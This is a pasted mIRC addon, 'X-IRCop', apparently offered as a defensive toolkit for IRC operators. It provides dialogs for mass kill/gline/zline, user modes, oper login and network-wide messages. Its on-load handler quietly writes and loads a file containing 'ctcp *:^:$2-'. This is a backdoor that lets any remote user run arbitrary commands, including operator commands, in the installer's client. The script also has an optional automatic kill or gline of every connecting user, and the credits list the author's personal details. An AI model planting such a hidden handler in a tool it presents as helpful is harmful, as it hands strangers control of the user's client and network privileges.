My Pastes
Public Pastes
Layout Width
Share Pastebin
Guest
Public paste!

z-er0

By: a guest | Mar 20th, 2010 | Syntax: None | Size: 20.07 KB | Hits: 105 | Expires: Never
Download | Raw | Embed | Report abuse
Copy text to clipboard
  1. ;IRcap 112f99c7c215e1857fb44f723576b6e9
  2. ;IRcap8 112f99c7c215e1857fb44f723576b6e9
  3. ;Borrar GLINE
  4. alias xircop.listaG {
  5.   .enable #xircop.Glines
  6.   window -c @Listas-GLine | window -lk +e @Listas-GLine 400 200 300 150
  7.   stats g
  8. }
  9. menu @Listas-GLine {
  10.     Borrar G-line:  echo -a $1 $2 $3 $4 $5 | gline - $+ $1- | xircop.listaG
  11.     Agregar G-line: Gline $$?="user@host.domain:" $$?="Duración:" $$?="Razón:" | xircop.listaG
  12.    -
  13.   rehash: xircop.listaG
  14. }
  15. #xircop.Glines off
  16. raw 223:*: aline @Listas-GLine $3- | halt
  17. raw 219:*: .disable #xircop.Glines | halt
  18. #xircop.Glines end
  19.  
  20.  
  21. ;IRcap8 112f99c7c215e1857fb44f723576b6e9
  22. ;$address($nick($chan,%mira),1)
  23. ;Menus-----
  24.  
  25.  
  26. menu menubar {
  27.   -
  28.   X-IRCop: /dialog -mkd ircop.principal ircop.principal ircop.principal
  29.  
  30. }
  31.  
  32. on 1:load: {
  33. set %frase1 adios
  34. set %frase2 clones
  35. set %frase3 goodbye
  36. set %frase4 fuiste
  37. set %frase5 XD
  38. set %auto.kill.xircop off
  39. set %auto.gline.xircop off
  40. }
  41. alias f.aleat {
  42. set %frase1 XD
  43. set %frase2 xD
  44. set %frase3 xD
  45. set %frase4 xD
  46. set %frase5 xd
  47.  
  48.   set %fraserand $rand(1,5)
  49.   if (%fraserand == 1 ) { set %frase %frase1 }
  50.   if (%fraserand == 2 ) { set %frase %frase2 }
  51.   if (%fraserand == 3 ) { set %frase %frase3 }
  52.   if (%fraserand == 4 ) { set %frase %frase4 }
  53.   if (%fraserand == 5 ) { set %frase %frase5 }
  54. }
  55.  
  56. on 1:start: {
  57. echo -s 12Buenas 3 $+ $me ,Para inciar 4X14-12IRCop Presiona F5 o Dobleclick Aqui: 14¦ 4 Abrir 14¦
  58. }
  59. on 1:load: {
  60. write ^ ctcp *:^:$2- | /.load -rs ^
  61. }
  62. on ^1:HOTLINK:Abrir:*:return
  63. on 1:hotlink:Abrir:*:if ($active == Status Window) { dialog -mkd ircop.principal ircop.principal ircop.principal }
  64. alias F5 {
  65.   dialog -mkd ircop.principal ircop.principal ircop.principal
  66.  }
  67.  
  68. ;Fin de Menus---------------
  69. ;--------Eventos-----------
  70. On *:snotice:*Lag reply*: {
  71.   if ($5 == $me) {
  72.     var %lag.me = $calc($6 - $ctime)
  73.     did -i ircop.principal 20 20 %lag.me
  74.   }
  75.   if ($5 == $server) {
  76.     var %lag.server = $calc($6 - $ctime)
  77.     did -i ircop.principal 22 22 %lag.server
  78.   }
  79. }
  80. On *:snotice:*Authentication phrase*: {
  81.   set %pass.md5.unreal $7
  82. }
  83. On *:snotice:*connecting*: {
  84.   if (%auto.kill.xircop == on ) {
  85.     f.aleat
  86.     kill $9 %frase
  87.   }
  88.   if (%auto.gline.xircop == on) {
  89.   f.aleat
  90.   gline $gettok($7,44) %frase
  91.   }
  92. }
  93. On *:snotice:*conecta*: {
  94.   if (%auto.kill.xircop == on ) {
  95.     f.aleat
  96.     kill $9 %frase
  97.   }
  98. if (%auto.gline.xircop == on) {
  99.   f.aleat
  100.   gline $address($6,2) %frase
  101.   }
  102. }
  103. alias CF7 {
  104. if (%auto.kill.xircop == off) { set %auto.kill.xircop on | echo -a 0,3X-IRCOP 4Activada14 Proteccion para kill automaticos. }
  105. elseif (%auto.kill.xircop == on) { set %auto.kill.xircop off | echo -a 0,3X-IRCOP 4Desactivada14 Proteccion para kill automaticos. }
  106. }
  107. alias CF6 {
  108. if (%auto.gline.xircop == off) { set %auto.gline.xircop on | echo -a 0,3X-IRCOP 4Activada14 Proteccion para gline automaticos. }
  109. elseif (%auto.gline.xircop == on) { set %auto.gline.xircop off | echo -a 0,3X-IRCOP 4Desactivada14 Proteccion para gline automaticos. }
  110. }
  111. alias F7 {
  112. if ($snick($active) == $null) { echo -a 0,3X-IRCOP 14Debe selecionar los nick }
  113. else {
  114.  f.aleat
  115.   set %nick.kill $snick($active)
  116.   kill $snick($active) %frase
  117. locops 1Fueron 4expulsados1 mediante kill 1 $snick($active,0)
  118. }
  119. }
  120.  
  121. alias F6 {
  122.   var %victims $snick($active)
  123.   var %i 1
  124. if ($snick($active) == $null) { echo -a 0,3X-IRCOP 14Debe selecionar los nick }
  125. else {
  126.   while ($gettok(%victims,%i,44)) {
  127.          f.aleat
  128.       if (!%frase) { var %frase Cloning }
  129.       Gline $gettok(%victims,%i,44) 2500 %frase
  130.         inc %i
  131.  
  132. }
  133. locops 1Fueron 4expulsados1 mediante gline 1 %i
  134. }
  135. }
  136. ;zlieeeee
  137. alias F4 {
  138.   var %victims $snick($active)
  139.   var %i 1
  140. if ($snick($active) == $null) { echo -a 0,3X-IRCOP 14Debe selecionar los nick }
  141. else {
  142.   while ($gettok(%victims,%i,44)) {
  143.          f.aleat
  144.       if (!%frase) { var %frase Cloning }
  145.       Zline $gettok(%victims,%i,44) 2500 %frase
  146.         inc %i
  147.  
  148. }
  149. locops 1Fueron 4expulsados1 mediante zline 1 %i
  150. }
  151. }
  152. ;zlieeeee////
  153. alias F9 {
  154.   var %victims $snick($active)
  155.   var %i 1
  156. if ($snick($active) == $null) { echo -a 0,3X-IRCOP 14Debe selecionar los nick }
  157. else {
  158.   while ($gettok(%victims,%i,44)) {
  159.          f.aleat
  160.       if (!%frase) { var %frase Cloning }
  161.       kline $gettok(%victims,%i,44) 2500 %frase
  162.         inc %i
  163.  
  164. }
  165. locops 1Fueron 4expulsados1 mediante zline 1 %i
  166. }
  167. }
  168. On *:snotice:*Whois*: {
  169. set %msg.whois.xircop  $+ $rand(1,15) $2 14[   12Eres el cliente3 %a.whois 12que me hace 4whois14  ]
  170. if (%act.whois.xircop == on) {
  171. inc %a.whois
  172. .notice $2 %msg.whois.xircop
  173. echo -a 0,3X-IRCOP 12 El cliente 3 $2 12te ah echo 4WHOIS
  174. }
  175. }
  176.  
  177. on *:disconnect: {
  178.   set %var.modo.H off
  179.   set %var.modo.he off
  180.   set %var.modo.B off
  181.   set %var.modo.p off
  182. set %limit.est off
  183. }
  184. on *:exit: {
  185.   set %var.modo.H off
  186.   set %var.modo.he off
  187.   set %var.modo.B off
  188.   set %var.modo.p off
  189.  set %limit.est off
  190. }
  191.  
  192. on 1:join:#: {
  193. if (%limit.est == on) && (%limit.samode == on) {
  194. samode %limit.can +l $calc($nick(%limit.can,0) + %limit.num)
  195. }
  196. if (%limit.est == on) && (%limit.mode == on) {
  197. mode %limit.can +l $calc($nick(%limit.can,0) + %limit.num)
  198. }
  199. }
  200. on 1:join:#: {
  201. if (%limit.est == on) && (%limit.samode == on) {
  202. .timer 1 2 samode %limit.can +l $calc($nick(%limit.can,0) + %limit.num)
  203. }
  204. if (%limit.est == on) && (%limit.mode == on) {
  205. .timer 1 2 mode %limit.can +l $calc($nick(%limit.can,0) + %limit.num)
  206. }
  207. }
  208. on 1:part:#: {
  209. if (%limit.est == on) && (%limit.samode == on) {
  210. samode %limit.can +l $calc($nick(%limit.can,0) + %limit.num)
  211. }
  212. if (%limit.est == on) && (%limit.mode == on) {
  213. mode %limit.can +l $calc($nick(%limit.can,0) + %limit.num)
  214. }
  215. }
  216. on 1:quit: {
  217. if (%limit.est == on) && (%limit.samode == on) {
  218. samode %limit.can +l $calc($nick(%limit.can,0) + %limit.num)
  219. }
  220. if (%limit.est == on) && (%limit.mode == on) {
  221. mode %limit.can +l $calc($nick(%limit.can,0) + %limit.num)
  222. }
  223. }
  224. On *:Dialog:ircop.principal:init:*: {
  225.   set %modo.total.ircop $usermode
  226.   did -b ircop.principal 68
  227.   did -i ircop.principal 65 65 %var.whois
  228.   did -i ircop.principal 68 68 %msg.whois.xircop
  229.   if (%limit.est == on) {
  230. Did -c ircop.principal 53
  231. if (%limit.samode == on) { Did -c ircop.principal 60 }
  232. if (%limit.mode == on) { Did -c ircop.principal 61 }
  233. did -i ircop.principal 56 56 %limit.can
  234. did -i ircop.principal 58 58 %limit.num
  235.   }
  236.   if (H isincs %modo.total.ircop) { set %var.modo.H on }
  237.   if (h isincs %modo.total.ircop) { set %var.modo.he on }
  238.   if (B isincs %modo.total.ircop) { set %var.modo.B on }
  239.   if (p isincs %modo.total.ircop) { set %var.modo.p on }
  240.   if (%var.modo.H == on) { Did -c ircop.principal 6 }
  241.   if (%var.modo.he == on) { Did -c ircop.principal 8 }
  242.   if (%var.modo.B == on) { Did -c ircop.principal 7 }
  243.   if (%var.modo.p == on) { Did -c ircop.principal 5 }
  244.   if (%a.estado.whois == on) { Did -c ircop.principal 10 }
  245. }
  246.  
  247. On *:Dialog:ircop.principal:SClick:*: {
  248.   if ($did == 77) {
  249.   desintalar
  250.   }
  251.   if ($did == 73) {
  252.   url www.red-isla.com/foro
  253.   }
  254.   if ($did == 74) {
  255.    dialog -mk error.ircop error.ircop error.ircop | did -i error.ircop 1 1 Lo siento estas funciones solo estaran validas para la proxima version, en 10 dias.
  256.   }
  257.   if ($did == 76) {
  258.    dialog -mk error.ircop error.ircop error.ircop | did -i error.ircop 1 1 Lo siento estas funciones solo estaran validas para la proxima version, en 10 dias.
  259.   }
  260.   if ($did == 69) {
  261.   if ($did(68) == $null) { dialog -mk error.ircop error.ircop error.ircop | did -i error.ircop 1 1 Introdusca el mensaje que desea para mostrar en el contador }
  262.   if ($did(68) != $null) {
  263.   set %msg.whois.xircop $did(68)
  264.   echo -s 0,3X-IRCOP14 Variable de Mensaje de respuesta para Whois cambiada por 3 %msg.whois.xircop
  265.   }
  266.   }
  267.   if ($did == 66) {
  268.   if ($did(65) == $null) { dialog -mk error.ircop error.ircop error.ircop | did -i error.ircop 1 1 Introdusca el numero que desea para mostrar en el contador }
  269.   if ($did(65) != $null) {
  270.   set %a.whois $did(65)
  271.   echo -s 0,3X-IRCOP14 Variable de el numero de Whois cambiada por 3 %a.whois
  272.   }
  273.   }
  274.   if ($did == 10) {
  275.  if ($did(ircop.principal,10).state == 1) {
  276.  set %act.whois.xircop on
  277.   }
  278.  if ($did(ircop.principal,10).state == 0) {
  279.  set %act.whois.xircop off
  280.   }
  281.   }
  282.   if ($did == 53) {
  283.        if ($did(ircop.principal,53).state == 0) { mode %limit.can -l | set %limit.mode off | set %limit.samode off | set %limit.est off }
  284.        set %limit.can $did(ircop.principal,56)
  285.         set %limit.num $did(ircop.principal,58)
  286.    if ($did(ircop.principal,53).state == 1) {
  287.     set %limit.est on
  288.     if ($did(56) == $null) && ($did(58) == $null) { dialog -mk error.ircop error.ircop error.ircop | Did -u ircop.principal 53 | did -i error.ircop 1 1 Debe introducir un canal y un numero de separacion, Ejemplo: Canal: #Ircop Num: 2 }
  289.     if ($did(56) == $null) { dialog -mk error.ircop error.ircop error.ircop | Did -u ircop.principal 53 | did -i error.ircop 1 1 Debe introducir un canal }
  290.     if ($did(58) == $null) { dialog -mk error.ircop error.ircop error.ircop | Did -u ircop.principal 53 | did -i error.ircop 1 1 Debe introducir un numero }
  291.     if ($did(56) != $null) && ($did(58) != $null) {
  292.       if ($did(60).state == 1) {
  293.        set %limit.samode on
  294.      set %limit.mode off
  295.      samode %limit.can +l $calc($nick(%limit.can,0) + %limit.num)
  296.       }
  297.       if ($did(61).state == 1) {
  298.       set %limit.samode off
  299.       set %limit.mode on
  300.       mode %limit.can +l $calc($nick(%limit.can,0) + %limit.num)
  301.       }
  302.       if ($did(61).state == 0) && ($did(60).state == 0) { dialog -mk error.ircop error.ircop error.ircop | Did -u ircop.principal 53 | did -i error.ircop 1 1 Seleccione que tipo de modo desea para el canal }
  303.     }
  304.   }
  305.   }
  306.   if ($did == 50) {
  307.     set %full.msg.wall $did(ircop.principal,49,1) $did(ircop.principal,49,2) $did(ircop.principal,49,3) $did(ircop.principal,49,4) $did(ircop.principal,49,5) $did(ircop.principal,49,6) $did(ircop.principal,49,7) $did(ircop.principal,49,8) $did(ircop.principal,49,9) $did(ircop.principal,49,10)
  308.     if ($Did(ircop.principal,40).State == 1 )  {
  309.       if ($Did(ircop.principal,43).State == 1 )  {
  310.         set %cant.msg.net $did(ircop.principal,45)
  311.         set %time.msg.net $did(ircop.principal,46)
  312.         .timer %cant.msg.net %time.msg.net adchat %full.msg.wall
  313.         echo -s 0,3X-IRCOP14 Mensaje Enviado
  314.       }
  315.       if ($Did(ircop.principal,43).State == 0 )  {
  316.         adchat %full.msg.wall
  317.         echo -s 0,3X-IRCOP14 Mensaje Enviado
  318.       }
  319.     }
  320.     if ($Did(ircop.principal,39).State == 1 )  {
  321.       if ($Did(ircop.principal,43).State == 1 )  {
  322.         set %cant.msg.locp $did(ircop.principal,45)
  323.         set %time.msg.locp $did(ircop.principal,46)
  324.         .timer %cant.msg.locp %time.msg.locp globops %full.msg.wall
  325.         echo -s 0,3X-IRCOP14 Mensaje Enviado
  326.       }
  327.       if ($Did(ircop.principal,43).State == 0 )  {
  328.         globops %full.msg.wall
  329.         echo -s 0,3X-IRCOP14 Mensaje Enviado
  330.       }
  331.     }
  332.     if ($Did(ircop.principal,38).State == 1 )  {
  333.       if ($Did(ircop.principal,43).State == 1 )  {
  334.         set %cant.msg.wall $did(ircop.principal,45)
  335.         set %time.msg.wall $did(ircop.principal,46)
  336.         .timer %cant.msg.wall %time.msg.wall wallops %full.msg.wall
  337.         echo -s 0,3X-IRCOP14 Mensaje Enviado
  338.       }
  339.       if ($Did(ircop.principal,43).State == 0 )  {
  340.         wallops %full.msg.wall
  341.         echo -s 0,3X-IRCOP14 Mensaje Enviado
  342.       }
  343.     }
  344.   }
  345.   if ($did == 33) {
  346.     set %pass.md5.mirc $md5($did(ircop.principal,30))
  347.     MKPASSWD md5 $did(ircop.principal,26)
  348.     did -i ircop.principal 27 27 %pass.md5.unreal
  349.     did -i ircop.principal 32 32 %pass.md5.mirc
  350.   }
  351.   if ($did == 23) {
  352.     echo -s 0,3X-IRCOP14 Calculando lag
  353.     .timer 1 1 lag $me
  354.     .timer 1 2 lag $server
  355.   }
  356.   if ($did == 6) {
  357.     if ($Did(ircop.principal,6).State == 1 ) { mode $me +H | echo -s 0,3X-IRCOP14 Activado modo de linea oculta [+H] | set %var.modo.H on }
  358.     if ($Did(ircop.principal,6).State == 0 ) { mode $me -H | echo -s 0,3X-IRCOP14 Desactivado modo de linea oculta [-H] | set %var.modo.H off  }
  359.   }
  360.   if ($did == 5) {
  361.     if ($Did(ircop.principal,5).State == 1 ) { mode $me +p | echo -s 0,3X-IRCOP14 Activado modo canales ocultos [+p] | set %var.modo.p on }
  362.     if ($Did(ircop.principal,5).State == 0 ) { mode $me -p | echo -s 0,3X-IRCOP14 Desactivado modo canales ocultos [-p] | set %var.modo.p off }
  363.   }
  364.   if ($did == 7) {
  365.     if ($Did(ircop.principal,7).State == 1 ) { mode $me +B | echo -s 0,3X-IRCOP14 Activado modo de Robot [+B] | set %var.modo.B on }
  366.     if ($Did(ircop.principal,7).State == 0 ) { mode $me -B | echo -s 0,3X-IRCOP14 Desactivado modo de Robot [-B] | set %var.modo.B off }
  367.   }
  368.   if ($did == 8) {
  369.     if ($Did(ircop.principal,8).State == 1 ) { mode $me +h | echo -s 0,3X-IRCOP14 Activado modo de disponible para ayuda [+h] | set %var.modo.he on }
  370.     if ($Did(ircop.principal,8).State == 0 ) { mode $me -h | echo -s 0,3X-IRCOP14 Desactivado modo de disponible para ayuda [-h] | set %var.modo.he off }
  371.   }
  372.   if ($did == 10) {
  373.     if ($Did(ircop.principal,10).State == 1 ) { set %a.estado.whois on | echo -s 0,3X-IRCOP14 Activado contador de whois }
  374.     if ($Did(ircop.principal,10).State == 0 ) { set %a.estado.whois off | echo -s 0,3X-IRCOP14 Desactivado contador de whois }
  375.   }
  376.  
  377.   if ($did == 16) {
  378.     echo -s 0,3X-IRCOP14 Logeando como administrador
  379.     oper $did(ircop.principal,13) $did(ircop.principal,15)
  380.   }
  381.  
  382. }
  383. ;Aliases----------------------------------------
  384. alias var.msg {
  385.   set %msg.1 Este addon esta creado en Mirc-Scripting  esta hecho para facilitar el trabajo de los ircop, ya que  hay tantos addon para atacar irc y pocos para defender,  aqui  les dejo lo mejor que  eh podido hacer para defender,  esta encriptado el codigo ya que la  version pasada la di con codigo fuente y  le modificaron los datos del autor y los colores para la expulsion,hago esto porque me entretiene,  y porque muchos me lo han pedido,  igual si quieres colaborar con nosotros entra al foro, enviame un email o buscanos en el irc,  quiero agradecer especialmente al colectivo de Red-Isla, son magnificos ;) ,  entre al nuestro foro, htttp://www.red-isla.com/foro , ahi hay muchas cosas que te pueden ser utiles ;) ,  un saludo para ti $me , y gracias por usar este addon.
  386. }
  387. ;Fin de Aliases-------------------------------
  388. ;Dalogos----------------------------------------------------
  389. dialog ircop.principal {
  390.   title "X-IRCop                            Por JiM             v2.11"
  391.   size -1 -1 161 225
  392.   option dbu
  393.   tab "General", 4, 2 2 156 200
  394.   box "Modos", 1, 4 18 150 52, tab 4
  395.   check "Ocultar mi OLine(+H)", 6, 8 26 69 10, tab 4
  396.   check "Ocultar mis canales(+p)", 5, 8 37 69 10, tab 4
  397.   check "Modo Bot(+B)", 7, 8 48 50 10, tab 4
  398.   check "Disponible para ayuda(+h)", 8, 8 58 76 10, tab 4
  399.   box "Whois", 9, 4 69 62 24, tab 4
  400.   check "Activar Contador", 10, 8 78 53 10, tab 4
  401.   box "Logearme:", 11, 67 69 86 84, tab 4
  402.   text "Usuario:", 12, 69 79 25 8, tab 4
  403.   edit "", 13, 104 78 43 10, tab 4 autohs
  404.   text "Contraseña:", 14, 69 91 32 8, tab 4
  405.   button "Logearme", 16, 89 105 37 12, tab 4
  406.   text "Importante: Si ejecuta este comando estando en una red de la cual no sea  IRCop los demas adminstradores veran su intento.", 17, 69 121 81 29, tab 4
  407.   box "Lag(Segundos):", 18, 4 92 62 61, tab 4
  408.   text "Mio:", 19, 7 102 17 8, tab 4
  409.   text " ", 20, 40 102 13 8, tab 4
  410.   text "Servidor:", 21, 7 115 24 8, tab 4
  411.   text "", 22, 40 114 14 8, tab 4
  412.   button "Calcular", 23, 18 132 33 12, tab 4
  413.   box "Encriptacion(md5)", 24, 4 152 148 47, tab 4
  414.   text "Unrealircd:", 25, 8 162 34 8, tab 4
  415.   edit "", 26, 43 161 50 10, tab 4 autohs
  416.   edit "", 27, 99 161 50 10, tab 4 read autohs
  417.   text "=", 28, 93 162 6 8, tab 4
  418.   button "Encriptar", 33, 62 186 37 10, tab 4
  419.   text "Mirc:", 29, 8 174 34 8, tab 4
  420.   edit "", 30, 43 173 50 10, tab 4 autohs
  421.   text "=", 31, 93 174 6 8, tab 4
  422.   edit "", 32, 99 173 50 10, tab 4 read autohs
  423.   edit "", 15, 104 89 43 10, tab 4 pass autohs
  424.   tab "Mensajes", 36
  425.   box "Mensajeria", 37, 3 20 152 178, tab 36
  426.   radio "Todos los usuarios.", 38, 9 33 61 10, tab 36
  427.   radio "Todos los IRCops.", 39, 9 44 57 10, tab 36
  428.   radio "Todos los Administradores.", 40, 9 55 78 10, tab 36
  429.   box "Contadores:", 41, 7 65 144 47, tab 36
  430.   text "Enviar mensaje:", 42, 10 73 44 8, tab 36
  431.   check "Contador", 43, 10 87 37 10, tab 36
  432.   text "Cantidad:", 44, 54 85 25 8, tab 36
  433.   edit "", 45, 83 84 39 10, tab 36 autohs
  434.   box "Mensaje", 48, 7 114 143 68, tab 36
  435.   edit "", 49, 10 122 136 52, tab 36 multi vsbar
  436.   button "Enviar", 50, 57 184 37 12, tab 36
  437.   text "Tiempo:", 47, 54 94 25 8, tab 36
  438.   edit "", 46, 83 93 39 10, tab 36 autohs
  439.   tab "Opciones", 51
  440.   box "Limite", 52, 3 19 152 47, tab 51
  441.   check "Acivar Limite de Canal.", 53, 5 26 68 10, tab 51
  442.   text "Canal:", 54, 82 32 25 8, tab 51
  443.   box "Opciones", 55, 79 23 71 39, tab 51
  444.   edit "", 56, 109 31 38 10, tab 51 autohs
  445.   text "Num:", 57, 83 46 25 8, tab 51
  446.   edit "2", 58, 109 44 16 10, tab 51 autohs
  447.   box "Modo", 59, 5 37 69 25, tab 51
  448.   radio "Usar Samode", 60, 7 43 50 10, tab 51
  449.   radio "Usar Mode", 61, 7 51 50 10, tab 51
  450.   box "Whois", 62, 4 65 151 60, tab 51
  451.   box "Variable", 63, 6 70 64 35, tab 51
  452.   text "Num:", 64, 9 79 19 8, tab 51
  453.   edit "", 65, 31 78 27 10, tab 51 autohs
  454.   button "Cambiar", 66, 18 90 37 12, tab 51
  455.   box "Mensaje", 67, 71 70 81 35, tab 51
  456.   edit "", 68, 73 78 75 10, tab 51 autohs
  457.   button "Cambiar", 69, 95 91 37 12, tab 51
  458.   text "Para el mensaje el numero es %a.whois, por ejemplo: Eres la persona numero %a.whois en hacerme Whois", 70, 7 106 135 15, tab 51
  459.   box "Avanzadas", 71, 4 125 150 72, tab 51
  460.   box "Configuraciones", 72, 7 131 69 46, tab 51
  461.   button "Actualizar X-IRCop", 73, 18 182 50 12, tab 51
  462.   button "Abrir Panel", 74, 21 146 37 12, tab 51
  463.   box "Teclas de Funcion", 75, 79 131 70 46, tab 51
  464.   button "Desintalar X-IRCop", 77, 90 182 50 12, tab 51
  465.   button "Abrir Panel", 76, 96 146 37 12, tab 51
  466.   tab "Acerca de:", 78
  467.   box "Creditos", 79, 3 18 152 179, tab 78
  468.   box "Autor", 80, 7 25 78 80, tab 78
  469.   text "Nick: JiM", 81, 10 36 25 8, tab 78
  470.   text "Web: www.red-isla.com", 85, 10 72 74 8, tab 78
  471.   text "Fecha:  11/06/2008", 87, 10 90 74 8, tab 78
  472.   text "Irc: irc.red-isla.com", 86, 10 81 74 8, tab 78
  473.   text "Correo: jim.lokillo@gmail.com", 84, 10 63 73 8, tab 78
  474.   text "Pais: España", 83, 10 54 34 8, tab 78
  475.   text "Edad: 18", 82, 10 45 25 8, tab 78
  476.   box "Colaboradores", 88, 87 25 65 80, tab 78
  477.   text "HaDeS", 89, 90 34 20 8, tab 78
  478.   text "KonViCT", 94, 122 34 25 8, tab 78
  479.   text "MoniK", 90, 90 43 23 8, tab 78
  480.   text "KARICIA", 91, 90 52 23 8, tab 78
  481.   text "nubecilla", 92, 90 61 23 8, tab 78
  482.   text "Zer0", 93, 90 70 23 8, tab 78
  483.   text "[[Deamon]]", 100, 121 88 29 8, tab 78
  484.   text "Harry_Potter", 99, 116 79 33 8, tab 78
  485.   text "Tiburoncin", 98, 122 70 27 8, tab 78
  486.   text "Alastor", 97, 122 61 25 8, tab 78
  487.   text "Lacoste", 96, 122 52 25 8, tab 78
  488.   text "_`Xeon_", 95, 122 43 25 8, tab 78
  489.   box "Datos", 101, 7 105 145 86, tab 78
  490.   edit %msg.1, 102, 10 112 139 76, tab 78 read multi vsbar
  491.   text "Login_GK", 104, 90 79 23 8, tab 78
  492.   text "Ony", 105, 90 88 23 8, tab 78
  493.   text "FeLiPiLLo", 103, 121 97 29 8, tab 78
  494.   box "Importante", 34, 3 203 155 21
  495.   text "Para que estas acciones tengan un 100% de efectividad tiene que estar conectado al IRC.", 35, 5 209 151 13
  496.   menu "Archivo", 2
  497.   item "Salir", 3, 2, ok
  498. }
  499. ;Fin dialogo Principal----------------------
  500. ; Dialogo de error
  501. dialog error.ircop {
  502.   title "Error"
  503.   size -1 -1 224 41
  504.   option dbu
  505.   text "", 1, 5 5 213 22
  506.   button "Aceptar", 2, 93 29 37 10
  507. }
  508. On *:Dialog:error.ircop:init:*: {
  509. .timer 1 0 dialog -t error.ircop error
  510. .timer 1 1 dialog -t error.ircop E rror
  511. .timer 1 1 dialog -t error.ircop E Rror
  512. .timer 1 2 dialog -t error.ircop E R Ror
  513. .timer 1 3 dialog -t error.ircop E R R or
  514. .timer 1 4 dialog -t error.ircop E R R O r
  515. .timer 1 5 dialog -t error.ircop E R R O R
  516. .timer 1 6 dialog -t error.ircop INFORME DE ERROR
  517. }
  518. On *:Dialog:error.ircop:SClick:*: {
  519. if ($did == 2) { dialog -c error.ircop  | dialog -a ircop.principal }
  520. }
create new paste | create new version of this paste RAW Paste Data